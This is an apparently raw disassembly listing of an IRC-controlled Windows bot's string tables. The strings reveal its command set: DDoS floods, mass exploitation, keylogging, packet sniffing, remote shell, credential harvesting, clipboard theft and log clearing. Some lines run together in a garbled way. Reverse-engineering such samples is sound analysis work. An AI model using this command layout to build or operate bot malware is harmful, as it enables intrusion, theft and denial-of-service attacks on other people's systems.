aDdos_ic db 'ddos.ic',0 ; DATA XREF: seg000:0040F2DCo aDdos_icmp db 'ddos.icmp',0 ; DATA XREF: seg000:0040F2C5o align 4 aBox_mv db 'box.mv',0 ; DATA XREF: seg000:0040F2AEo align 4 aBox_rename db 'box.rename',0 ; DATA XREF: seg000:0040F297o align 4 aBox_ff db 'box.ff',0 ; DATA XREF: seg000:0040F280o align 10h aBox_findfile db 'box.findfile',0 ; DATA XREF: seg000:0040F269o align 10h aBox_e db 'box.e',0 ; DATA XREF: seg000:0040F252o align 4 aBox_execute db 'box.execute',0 ; DATA XREF: seg000:0040F23Bo aDownload_010 db 'download.010',0 ; DATA XREF: seg000:0040F224o align 4 aDownload_up010 db 'download.up010',0 ; DATA XREF: seg000:0040F20Do align 4 aEnz_de db 'enz.de',0 ; DATA XREF: seg000:0040F1F6o align 4 aEnz_delay db 'enz.delay',0 ; DATA XREF: seg000:0040F1DFo align 4 aEnz_rp db 'enz.rp',0 ; DATA XREF: seg000:0040F1C8o align 10h aEnz_repeat db 'enz.repeat',0 ; DATA XREF: seg000:0040F1B1o align 4 aClone_p db 'clone.p',0 ; DATA XREF: seg000:0040F19Ao aClone_part db 'clone.part',0 ; DATA XREF: seg000:0040F183o align 10h aClone_j db 'clone.j',0 ; DATA XREF: seg000:0040F16Co aClone_join db 'clone.join',0 ; DATA XREF: seg000:0040F155o align 4 aClone_ni db 'clone.ni',0 ; DATA XREF: seg000:0040F13Eo align 10h aClone_nick db 'clone.nick',0 ; DATA XREF: seg000:0040F127o align 4 aClone_m db 'clone.m',0 ; DATA XREF: seg000:0040F110o aClone_mode db 'clone.mode',0 ; DATA XREF: seg000:0040F0F9o align 10h aClone_ra db 'clone.ra',0 ; DATA XREF: seg000:0040F0E2o align 4 aClone_raw db 'clone.raw',0 ; DATA XREF: seg000:0040F0CBo align 4 aEnz_m db 'enz.m',0 ; DATA XREF: seg000:0040F0B4o align 10h aEnz_mode db 'enz.mode',0 ; DATA XREF: seg000:0040F09Do align 4 aEnz_cy db 'enz.cy',0 ; DATA XREF: seg000:0040F086o align 4 aEnz_cycle db 'enz.cycle',0 ; DATA XREF: seg000:0040F06Fo align 10h aEnz_ac db 'enz.ac',0 ; DATA XREF: seg000:0040F058o align 4 aEnz_action db 'enz.action',0 ; DATA XREF: seg000:0040F041o align 4 aEnz_pm db 'enz.pm',0 ; DATA XREF: seg000:0040F02Ao align 4 aEnz_privmsg db 'enz.privmsg',0 ; DATA XREF: seg000:0040F013o aEnz_aa db 'enz.aa',0 ; DATA XREF: seg000:0040EFFCo align 10h aEnz_addalias db 'enz.addalias',0 ; DATA XREF: seg000:0040EFE5o align 10h aEnz_gh db 'enz.gh',0 ; DATA XREF: seg000:0040EFBCo align 4 aEnz_gethost db 'enz.gethost',0 ; DATA XREF: seg000:0040EFA5o dword_435514 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: seg000:loc_40EF57o dd 2029206Ch, 2BBBB02h aCommandUnknown db ' Command unknown.',0 align 4 dword_435544 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: seg000:loc_40EF50o dd 2029206Ch, 2BBBB02h aNoMessageSpeci db ' No message specified.',0 dword_435578 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: seg000:loc_40EF08o dd 2029206Ch, 2BBBB02h aUserListFailed db ' User list failed.',0 dword_4355A8 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: seg000:0040EF01o dd 2029206Ch, 2BBBB02h aUserListComple db ' User list completed.',0 align 4 aUser db 'user',0 ; DATA XREF: seg000:0040EE74o align 4 dword_4355E4 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: seg000:loc_40EE69o dd 2029206Ch, 2BBBB02h aShareListFaile db ' Share list failed.',0 align 4 dword_435618 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: seg000:0040EE5Fo dd 2029206Ch, 2BBBB02h aShareListCompl db ' Share list completed.',0 aShare db 'share',0 ; DATA XREF: seg000:0040EDF7o align 4 aDelete db 'delete',0 ; DATA XREF: seg000:0040EDDCo align 4 aPause db 'pause',0 ; DATA XREF: seg000:0040EDA9o align 4 aStop db 'stop',0 ; DATA XREF: seg000:0040ED91o align 4 dword_43566C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: seg000:loc_40ED86o dd 2029206Ch, 2BBBB02h aServiceListFai db ' Service list failed.',0 align 10h dword_4356A0 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: seg000:0040ED7Co dd 2029206Ch, 2BBBB02h aServiceListCom db ' Service list completed.',0 align 4 dword_4356D8 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: seg000:0040ECF8o dd 2029206Ch, 2BBBB02h aFailedToLoadAd db ' Failed to load advapi32.dll or netapi32.dll.',0 align 4 aBox_net db 'box.net',0 ; DATA XREF: seg000:0040ECD4o unk_43572C db 2 ; DATA XREF: seg000:0040EC93o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 6Bh ; k db 65h, 79h, 6Ch db 6Fh ; o db 67h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToSta_22 db ' Failed to start logging thread, error: <%d>.',0 align 4 unk_43577C db 2 ; DATA XREF: seg000:0040EC28o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 6Bh ; k db 65h, 79h, 6Ch db 6Fh ; o db 67h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aKeyLoggerActiv db ' Key logger active.',0 unk_4357B0 db 2 ; DATA XREF: seg000:0040EBAAo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 6Bh ; k db 65h, 79h, 6Ch db 6Fh ; o db 67h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aAlreadyRunni_1 db ' Already running.',0 align 4 unk_4357E4 db 2 ; DATA XREF: seg000:loc_40EB86o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 6Bh ; k db 65h, 79h, 6Ch db 6Fh ; o db 67h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNoKeyLoggerThr db ' No key logger thread found.',0 align 4 unk_435824 db 2 ; DATA XREF: seg000:0040EB7Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 6Bh ; k db 65h, 79h, 6Ch db 6Fh ; o db 67h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aKeyLoggerStopp db ' Key logger stopped. (%d thread(s) stopped.)',0 align 4 aBox_keylog db 'box.keylog',0 ; DATA XREF: seg000:0040EB22o align 10h unk_435880 db 2 ; DATA XREF: seg000:loc_40EB18o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aNoCarnivoreThr db 'No Carnivore thread found.',0 align 4 unk_4358BC db 2 ; DATA XREF: seg000:0040EB0Eo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aCarnivoreStopp db 'Carnivore stopped. (%d thread(s) stopped.)',0 align 4 aOff db 'off',0 ; DATA XREF: seg000:0040EAEBo ; seg000:0040EB59o unk_43590C db 2 ; DATA XREF: seg000:0040EAE0o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToSta_23 db 'Failed to start sniffer thread, error: <%d>.',0 align 4 unk_43595C db 2 ; DATA XREF: seg000:0040EA71o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aCarnivorePacke db 'Carnivore packet sniffer active.',0 align 10h unk_4359A0 db 2 ; DATA XREF: seg000:0040EA0Do db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aAlreadyRunni_2 db 'Already running.',0 align 4 aOn db 'on',0 ; DATA XREF: seg000:0040E9EDo ; seg000:0040EB37o align 4 aSniff db 'sniff',0 ; DATA XREF: seg000:0040E9D8o align 10h aBox_rf db 'box.rf',0 ; DATA XREF: seg000:0040E9C1o align 4 aBox_readfile db 'box.readfile',0 ; DATA XREF: seg000:0040E9AAo align 4 aBox_cm db 'box.cm',0 ; DATA XREF: seg000:0040E993o align 10h aBox_cmd db 'box.cmd',0 ; DATA XREF: seg000:0040E97Co aMirc_cmd db 'mirc.cmd',0 ; DATA XREF: seg000:0040E94Eo ; seg000:0040E965o align 4 aEnz_v db 'enz.v',0 ; DATA XREF: seg000:0040E937o align 4 aEnz_visit db 'enz.visit',0 ; DATA XREF: seg000:0040E920o align 4 aBox_fl db 'box.fl',0 ; DATA XREF: seg000:0040E909o align 10h aBox_filelist db 'box.filelist',0 ; DATA XREF: seg000:0040E8F2o align 10h aDcc_gt db 'dcc.gt',0 ; DATA XREF: seg000:0040E8DBo align 4 aDcc_get db 'dcc.get',0 ; DATA XREF: seg000:0040E8C4o aBox_del db 'box.del',0 ; DATA XREF: seg000:0040E8ADo aBox_delete db 'box.delete',0 ; DATA XREF: seg000:0040E896o align 4 aBox_pkid db 'box.pkid',0 ; DATA XREF: seg000:0040E87Fo align 10h aBox_prockillid db 'box.prockillid',0 ; DATA XREF: seg000:0040E868o align 10h aBox_kpn db 'box.kpn',0 ; DATA XREF: seg000:0040E851o aBox_killprocna db 'box.killprocname',0 ; DATA XREF: seg000:0040E83Ao align 4 aEnz_dn db 'enz.dn',0 ; DATA XREF: seg000:0040E823o align 4 aEnz_dns db 'enz.dns',0 ; DATA XREF: seg000:0040E80Co aEnz_se db 'enz.se',0 ; DATA XREF: seg000:0040E7F5o align 4 aEnz_setserve db 'enz.setserve',0 ; DATA XREF: seg000:0040E7DEo align 4 aBox_o db 'box.o',0 ; DATA XREF: seg000:0040E7C7o align 4 aBox_open db 'box.open',0 ; DATA XREF: seg000:0040E7B0o align 4 aEnz_pr db 'enz.pr',0 ; DATA XREF: seg000:0040E799o align 10h aEnz_prefix db 'enz.prefix',0 ; DATA XREF: seg000:0040E782o align 4 aClone_rn db 'clone.rn',0 ; DATA XREF: seg000:0040E76Bo align 4 aClone_rndnick db 'clone.rndnick',0 ; DATA XREF: seg000:0040E754o align 4 aClone_q db 'clone.q',0 ; DATA XREF: seg000:0040E73Do aClone_quit db 'clone.quit',0 ; DATA XREF: seg000:0040E726o align 4 aThreads_k db 'threads.k',0 ; DATA XREF: seg000:0040E70Fo align 4 aThreads_kill db 'threads.kill',0 ; DATA XREF: seg000:0040E6F8o align 4 aEnz_r db 'enz.r',0 ; DATA XREF: seg000:0040E6E1o align 10h aEnz_raw db 'enz.raw',0 ; DATA XREF: seg000:0040E6CAo aEnz_pt db 'enz.pt',0 ; DATA XREF: seg000:0040E6B3o align 10h aEnz_part db 'enz.part',0 ; DATA XREF: seg000:0040E69Co align 4 aEnz_j db 'enz.j',0 ; DATA XREF: seg000:0040E685o align 4 aEnz_join db 'enz.join',0 ; DATA XREF: seg000:0040E66Eo align 10h aEnz_n db 'enz.n',0 ; DATA XREF: seg000:0040E657o align 4 aEnz_nick db 'enz.nick',0 ; DATA XREF: seg000:0040E640o align 4 aVall db 'vall',0 ; DATA XREF: seg000:0040E61Ao align 4 aVuln_massexplo db 'vuln.massexploit',0 ; DATA XREF: seg000:0040E605o align 10h aServer_tf_on db 'server.tf.on',0 ; DATA XREF: seg000:0040E5F0o align 10h aServer_tftp_on db 'server.tftp.on',0 ; DATA XREF: seg000:0040E5DBo align 10h aServer_web_on db 'server.web.on',0 ; DATA XREF: seg000:0040E5C6o align 10h aServer_httpd_o db 'server.httpd.on',0 ; DATA XREF: seg000:0040E5B1o aVuln_cip db 'vuln.cip',0 ; DATA XREF: seg000:0040E59Co align 4 aVuln_currentip db 'vuln.currentip',0 ; DATA XREF: seg000:0040E587o align 4 aUtil_fdns db 'util.fdns',0 ; DATA XREF: seg000:0040E572o align 4 aUtil_flushdns db 'util.flushdns',0 ; DATA XREF: seg000:0040E55Do align 4 aUtil_farp db 'util.farp',0 ; DATA XREF: seg000:0040E548o align 4 aUtil_flusharp db 'util.flusharp',0 ; DATA XREF: seg000:0040E533o align 4 aBox_gc db 'box.gc',0 ; DATA XREF: seg000:0040E51Eo align 4 aBox_getclip db 'box.getclip',0 ; DATA XREF: seg000:0040E509o dword_435C48 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040E4F8o dd 2029206Ch, 2BBBB02h aLoginListCompl db ' Login list complete.',0 align 4 aD_S db '%d. %s',0 ; DATA XREF: seg000:0040E4C4o align 4 aEmpty db '<Empty>',0 ; DATA XREF: seg000:0040E4B7o aLoginList db '-[Login List]-',0 ; DATA XREF: seg000:0040E495o align 4 aEnz_who db 'enz.who',0 ; DATA XREF: seg000:0040E47Co aCmd db '[CMD]',0 ; DATA XREF: seg000:0040E471o align 4 aRemoteShell db 'Remote shell',0 ; DATA XREF: seg000:0040E46Co align 4 aBox_ocmd_off db 'box.ocmd.off',0 ; DATA XREF: seg000:0040E453o align 4 aBox_ocmd db 'box.ocmd',0 ; DATA XREF: seg000:0040E43Eo align 4 aBox_opencmd db 'box.opencmd',0 ; DATA XREF: seg000:0040E429o aBox_dll db 'box.dll',0 ; DATA XREF: seg000:0040E414o aBox_testdlls db 'box.testdlls',0 ; DATA XREF: seg000:0040E3FFo align 4 aBox_drv db 'box.drv',0 ; DATA XREF: seg000:0040E3EAo aBox_driveinfo db 'box.driveinfo',0 ; DATA XREF: seg000:0040E3D5o align 4 aBox_up db 'box.up',0 ; DATA XREF: seg000:0040E3C0o align 4 aBox_uptime db 'box.uptime',0 ; DATA XREF: seg000:0040E3ABo align 4 aBox_key db 'box.key',0 ; DATA XREF: seg000:0040E396o aBox_harvest db 'box.harvest',0 ; DATA XREF: seg000:0040E381o aBox_ps db 'box.ps',0 ; DATA XREF: seg000:0040E36Co align 4 aBox_procs db 'box.procs',0 ; DATA XREF: seg000:0040E357o align 10h aEnz_010 db 'enz.010',0 ; DATA XREF: seg000:0040E342o aEnz_be010ne db 'enz.be010ne',0 ; DATA XREF: seg000:0040E32Do aBox_si db 'box.si',0 ; DATA XREF: seg000:0040E318o align 4 aBox_sysinfo db 'box.sysinfo',0 ; DATA XREF: seg000:0040E303o aBox_ni db 'box.ni',0 ; DATA XREF: seg000:0040E2EEo align 10h aBox_netinfo db 'box.netinfo',0 ; DATA XREF: seg000:0040E2D9o aUtil_clg db 'util.clg',0 ; DATA XREF: seg000:0040E2C4o align 4 aUtil_clearlog db 'util.clearlog',0 ; DATA XREF: seg000:0040E2AFo align 4 aEnz_lg db 'enz.lg',0 ; DATA XREF: seg000:0040E29Ao align 10h aEnz_log db 'enz.log',0 ; DATA XREF: seg000:0040E285o aEnz_al db 'enz.al',0 ; DATA XREF: seg000:0040E270o align 10h aEnz_aliases db 'enz.aliases',0 ; DATA XREF: seg000:0040E25Bo aThreads_l db 'threads.l',0 ; DATA XREF: seg000:0040E246o align 4 aThreads_list db 'threads.list',0 ; DATA XREF: seg000:0040E231o align 4 dword_435DE8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040E1FDo dd 2029206Ch, 2BBBB02h aFailedToReboot db ' Failed to reboot system.',0 align 10h dword_435E20 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040E1F6o dd 2029206Ch, 2BBBB02h aRebootingSyste db ' Rebooting system.',0 aBox_rebewt db 'box.rebewt',0 ; DATA XREF: seg000:0040E1DFo align 4 aEnz_i db 'enz.i',0 ; DATA XREF: seg000:0040E1CAo align 4 aEnz_id db 'enz.id',0 ; DATA XREF: seg000:0040E1B5o align 4 aEnz_s db 'enz.s',0 ; DATA XREF: seg000:0040E1A0o align 4 aEnz_status db 'enz.status',0 ; DATA XREF: seg000:0040E18Bo align 10h aEnz_t3rm1 db 'enz.t3rm1',0 ; DATA XREF: seg000:0040E176o align 4 aEnz_t3rm1nate db 'enz.t3rm1nate',0 ; DATA XREF: seg000:0040E161o align 4 aEnz_et3 db 'enz.et3',0 ; DATA XREF: seg000:0040E14Co aEnz_endt3rm db 'enz.endt3rm',0 ; DATA XREF: seg000:0040E137o aEnz_rh4 db 'enz.rh4',0 ; DATA XREF: seg000:0040E122o aEnz_reh4sh db 'enz.reh4sh',0 ; DATA XREF: seg000:0040E10Do align 4 aVuln_st db 'vuln.st',0 ; DATA XREF: seg000:0040E0F8o aVuln_stats db 'vuln.stats',0 ; DATA XREF: seg000:0040E0E3o align 4 aExploitation db 'Exploitation',0 ; DATA XREF: seg000:0040E0D8o align 4 aScan db 'Scan',0 ; DATA XREF: seg000:0040E0D3o align 10h aVuln_stop db 'vuln.stop',0 ; DATA XREF: seg000:0040E0BAo align 4 dword_435EFC dd 65027302h, 1F727563h, 2E2E1F65h, 0aSecure_0 db 'Secure',0 ; DATA XREF: seg000:0040E0AAo align 4 aLockdown_stop db 'lockdown.stop',0 ; DATA XREF: seg000:0040E091o align 4 dword_435F24 dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0aClone db 'Clone',0 ; DATA XREF: seg000:0040E081o align 4 aClone_off db 'clone.off',0 ; DATA XREF: seg000:0040E068o align 4 aBox_ps_off db 'box.ps.off',0 ; DATA XREF: seg000:0040E053o align 4 aBox_procs_off db 'box.procs.off',0 ; DATA XREF: seg000:0040E03Eo align 4 aBox_ff_off db 'box.ff.off',0 ; DATA XREF: seg000:0040E029o align 10h aBox_findfile_o db 'box.findfile.off',0 ; DATA XREF: seg000:0040E014o align 4 dword_435F84 dd 66027402h, 641F7074h, 2E2E1FhaServer_tftp_of db 'server.tftp.off',0 ; DATA XREF: seg000:0040DFEBo dword_435FA0 dd 69027002h, 1F671F6Eh, 2E2Ehdword_435FAC dd 676E6950h, 6F6C6620h, 646Fhdword_435FB8 dd 736F6464h, 6E69702Eh, 666F2E67h, 66hdword_435FC8 dd 64027502h, 2E1F701Fh, 2Ehdword_435FD4 dd 20504455h, 6F6F6C66h, 64hdword_435FE0 dd 736F6464h, 7064752Eh, 66666F2Eh, 0dword_435FF0 dd 79027302h, 2E1F6E1Fh, 2Ehdword_435FFC dd 206E7953h, 6F6F6C66h, 64hdword_436008 dd 736F6464h, 6E79732Eh, 66666F2Eh, 0dword_436018 dd 64026402h, 1F731F6Fh, 2E2Ehdword_436024 dd 536F4444h, 6F6C6620h, 646Fhdword_436030 dd 736F6464h, 66666F2Eh, 0dword_43603C dd 65027202h, 65726964h, 1F741F63h, 2E2Ehdword_43604C dd 20504354h, 69646572h, 74636572h, 0aServer_redirec db 'server.redirect.off',0 ; DATA XREF: seg000:0040DF1Eo dword_436070 dd 6F026C02h, 2E1F671Fh, 2Ehdword_43607C dd 20676F4Ch, 7473696Ch, 0dword_436088 dd 2E676F6Ch, 66666Fhdword_436090 dd 74026802h, 641F7074h, 2E2E1Fhdword_43609C dd 76726573h, 772E7265h, 6F2E6265h, 6666hdword_4360AC dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2EhaServer_rlogin_ db 'server.rlogin.off',0 ; DATA XREF: seg000:0040DEA9o align 10h dword_4360D0 dd 6F027302h, 1F736B63h, 2E2E1F34h, 0aServer db 'Server',0 ; DATA XREF: seg000:0040DE82o ; seg000:0040DEC2o ... align 4 aServer_socks_0 db 'server.socks4.off',0 ; DATA XREF: seg000:0040DE69o align 4 aServer_s4_on db 'server.s4.on',0 ; DATA XREF: seg000:0040DE54o align 4 aServer_socks4_ db 'server.socks4.on',0 ; DATA XREF: seg000:0040DE3Fo align 10h aLd_off db 'ld.off',0 ; DATA XREF: seg000:0040DE2Ao align 4 aLockdown_off db 'lockdown.off',0 ; DATA XREF: seg000:0040DE15o align 4 aLd_on db 'ld.on',0 ; DATA XREF: seg000:0040DE00o align 10h aLockdown_on db 'lockdown.on',0 ; DATA XREF: seg000:0040DDEBo aEnz_ver db 'enz.ver',0 ; DATA XREF: seg000:0040DDD6o aEnz_version db 'enz.version',0 ; DATA XREF: seg000:0040DDC1o aEnz_lo db 'enz.lo',0 ; DATA XREF: seg000:0040DDACo align 4 aEnz_logout db 'enz.logout',0 ; DATA XREF: seg000:0040DD97o align 4 aEnz_d db 'enz.d',0 ; DATA XREF: seg000:0040DD82o align 4 aEnz_endsess db 'enz.endsess',0 ; DATA XREF: seg000:0040DD6Do aEnz_rn db 'enz.rn',0 ; DATA XREF: seg000:0040DD58o align 10h aEnz_rndnick db 'enz.rndnick',0 ; DATA XREF: seg000:0040DD40o a63 db '63',0 ; DATA XREF: seg000:0040DC19o align 10h asc_4361A0: ; DATA XREF: seg000:0040DBF1o unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: seg000:0040DBB4o align 4 aServer_2 db '$server',0 ; DATA XREF: seg000:0040DBA9o aRndnick db '$rndnick',0 ; DATA XREF: seg000:0040DB98o align 10h aChan db '$chan',0 ; DATA XREF: seg000:0040DB7Co align 4 aUser_2 db '$user',0 ; DATA XREF: seg000:0040DB6Bo align 10h aMe_0 db '$me',0 ; DATA XREF: seg000:0040DB59o aD_0 db '$%d',0 ; DATA XREF: seg000:0040DAEBo aD_1 db '$%d-',0 ; DATA XREF: seg000:0040DA30o align 10h aHi_0 db 'hi',0 ; DATA XREF: seg000:0040D958o align 4 aNewshit0 db 'newshit0',0 ; DATA XREF: seg000:0040D940o align 10h dword_4361F0 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: seg000:0040D90Eo dd 2029206Ch, 2BBBB02h aChatFailedByUn db ' Chat failed by unauthorized user: %s.',0 dword_436234 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: seg000:0040D900o dd 2029206Ch, 2BBBB02h aChatAlreadyAct db ' Chat already active with user: %s.',0 align 4 dword_436278 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: seg000:0040D8F2o dd 2029206Ch, 2BBBB02h aFailedToSta_24 db ' Failed to start chat thread, error: <%d>.',0 dword_4362C0 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: seg000:0040D883o dd 2029206Ch, 2BBBB02h aChatFromUserS_ db ' Chat from user: %s.',0 align 4 aChat db 'CHAT',0 ; DATA XREF: seg000:0040D7ECo align 4 dword_4362FC dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: seg000:0040D7CFo dd 2029206Ch, 2BBBB02h aReceiveFileSFa db ' Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 dword_436350 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: seg000:0040D7B1o ; seg000:0041156Ao dd 2029206Ch, 2BBBB02h aFailedToSta_25 db ' Failed to start transfer thread, error: <%d>.',0 dword_43639C dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: seg000:0040D7A0o dd 0A0Dh dword_4363B4 dd 4E495001h, 47haSHasJustVersio db '%s has just versioned me.',0 ; DATA XREF: seg000:0040D726o align 4 dword_4363D8 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: seg000:0040D70Co dd 0D017325h, 0Ah dword_4363F4 dd 52455601h, 4E4F4953h, 1dword_436400 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: seg000:0040D5C1o dd 2029206Ch, 2BBBB02h aReceiveFileSFr db ' Receive file: ',27h,'%s',27h,' from user: %s.',0 aSend_0 db 'SEND',0 ; DATA XREF: seg000:0040D51Eo align 4 dword_436448 dd 43434401h, 0 dword_436450 dd 323333h ; seg000:0040D97Ao ... aNotice db 'NOTICE',0 ; DATA XREF: seg000:0040D465o ; sub_412D32+Fo align 4 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: seg000:0040D459o ; sub_412D32+16o dword_436464 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040D408o dd 2029206Ch, 2BBBB02h aUserSLoggedOut db ' User: %s logged out.',0 align 4 dword_436498 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040D3E1o dd 2029206Ch, 2BBBB02h aJoinedChanne_0 db ' Joined channel: %s.',0 align 4 a353 db '353',0 ; DATA XREF: seg000:0040D3AAo aPart db 'PART',0 ; DATA XREF: seg000:0040D35Co ; seg000:0040D425o align 4 aSS_0 db ':%s%s',0 ; DATA XREF: seg000:0040D334o align 10h aNick db 'NICK',0 ; DATA XREF: seg000:0040D206o align 4 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: seg000:0040D1A7o ; seg000:0040D449o dword_4364F8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040D18Eo ; seg000:00412898o ... dd 2029206Ch, 2BBBB02h aUserSLoggedO_0 db ' User %s logged out.',0 align 4 aKick db 'KICK',0 ; DATA XREF: seg000:0040D11Do align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: seg000:0040D0C6o ; seg000:00411922o ... align 10h a433 db '433',0 ; DATA XREF: seg000:0040D09Eo a302 db '302',0 ; DATA XREF: seg000:0040D063o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:0040D01Do ; seg000:0040D1EDo ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: seg000:0040CFFCo align 4 aPing db 'PING',0 ; DATA XREF: seg000:0040CFE2o align 4 asc_43656C db ' :',0 ; DATA XREF: seg000:0040CEBFo ; seg000:loc_40D9D2o align 10h dword_436570 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_4365BC dd 3000005h, 10h, 18h, 1, 3 dup(0); --------------------------------------------------------------------------- loc_4365D8: ; DATA XREF: sub_412B7E+118o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_4365EC dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_412B7E+13Fo dword_436600 dd 25207325h, 253A2073h, 0A0D73h, 0off_436610 dd offset aAdd ; DATA XREF: sub_412DCD+6Dr ; sub_4131B1+50r ... ; "Add" off_436614 dd offset aAdded ; DATA XREF: sub_412DCD+2Dr ; sub_4131B1+82r ... ; "Added" dword_436618 dd 0 dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 8 dd offset aList_0 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 10h dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 436684h, 43667Ch, 2, 436670h, 436664h, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: seg002:00436644o aStop_0 db 'Stop',0 ; DATA XREF: seg002:00436640o align 4 aStarted db 'Started',0 ; DATA XREF: seg002:00436638o aStart_0 db 'Start',0 ; DATA XREF: seg002:00436634o align 4 aListed db 'Listed',0 ; DATA XREF: seg002:0043662Co align 4 aList_0 db 'List',0 ; DATA XREF: seg002:00436628o align 4 aDeleted db 'Deleted',0 ; DATA XREF: seg002:00436620o aDelete_0 db 'Delete',0 ; DATA XREF: seg002:0043661Co align 4 aAdded db 